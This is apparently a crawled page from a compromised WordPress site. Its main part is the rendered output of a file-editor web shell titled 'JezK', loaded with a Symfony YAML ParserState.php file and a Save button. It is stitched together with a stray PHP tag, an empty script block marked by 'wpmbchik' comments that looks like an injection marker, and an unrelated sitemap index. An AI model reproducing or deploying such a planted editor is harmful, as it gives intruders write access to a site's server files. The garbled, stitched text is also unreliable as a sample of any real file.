
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: ParserState.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier &lt;fabien@symfony.com&gt;
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Yaml;

use Symfony\Component\Yaml\Exception\ParseException;
use Symfony\Component\Yaml\Tag\TaggedValue;

/**
 * @internal
 */
final class ParserState
{
    public int $maxNestingLevel = Parser::DEFAULT_MAX_NESTING_LEVEL;
    public int $currentNestingLevel = 0;
    public int $maxAliasesForCollections = Parser::DEFAULT_MAX_ALIASES_FOR_COLLECTIONS;
    public int $collectionAliasCount = 0;
    public bool $aliasesEnabled = true;

    public function reset(): void
    {
        $this-&gt;currentNestingLevel = 0;
        $this-&gt;collectionAliasCount = 0;
        $this-&gt;aliasesEnabled = true;
    }

    public function enterNestingLevel(int $line, ?string $snippet, ?string $filename): void
    {
        if (++$this-&gt;currentNestingLevel &gt; $this-&gt;maxNestingLevel) {
            --$this-&gt;currentNestingLevel;

            throw new ParseException(\sprintf('Maximum nesting depth of %d exceeded.', $this-&gt;maxNestingLevel), $line, $snippet, $filename);
        }
    }

    public function leaveNestingLevel(): void
    {
        if ($this-&gt;currentNestingLevel &gt; 0) {
            --$this-&gt;currentNestingLevel;
        }
    }

    public function countAlias(mixed $refValue, int $line, ?string $snippet, ?string $filename): void
    {
        if (!$this-&gt;aliasesEnabled) {
            throw new ParseException('Aliases are disabled.', $line, $snippet, $filename);
        }

        if ($refValue instanceof TaggedValue) {
            $refValue = $refValue-&gt;getValue();
        }

        if (!\is_array($refValue) &amp;&amp; !$refValue instanceof \stdClass) {
            return;
        }

        if (++$this-&gt;collectionAliasCount &gt; $this-&gt;maxAliasesForCollections) {
            throw new ParseException(\sprintf('Maximum number of collection aliases (%d) exceeded. This limit can be increased via the Parser constructor.', $this-&gt;maxAliasesForCollections), $line, $snippet, $filename);
        }
    }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

?>

<!-- wpmbchik -->

<script>

</script>
<!-- /wpmbchik -->
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://kalam-i-haqq.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://kalam-i-haqq.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://kalam-i-haqq.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://kalam-i-haqq.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://kalam-i-haqq.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
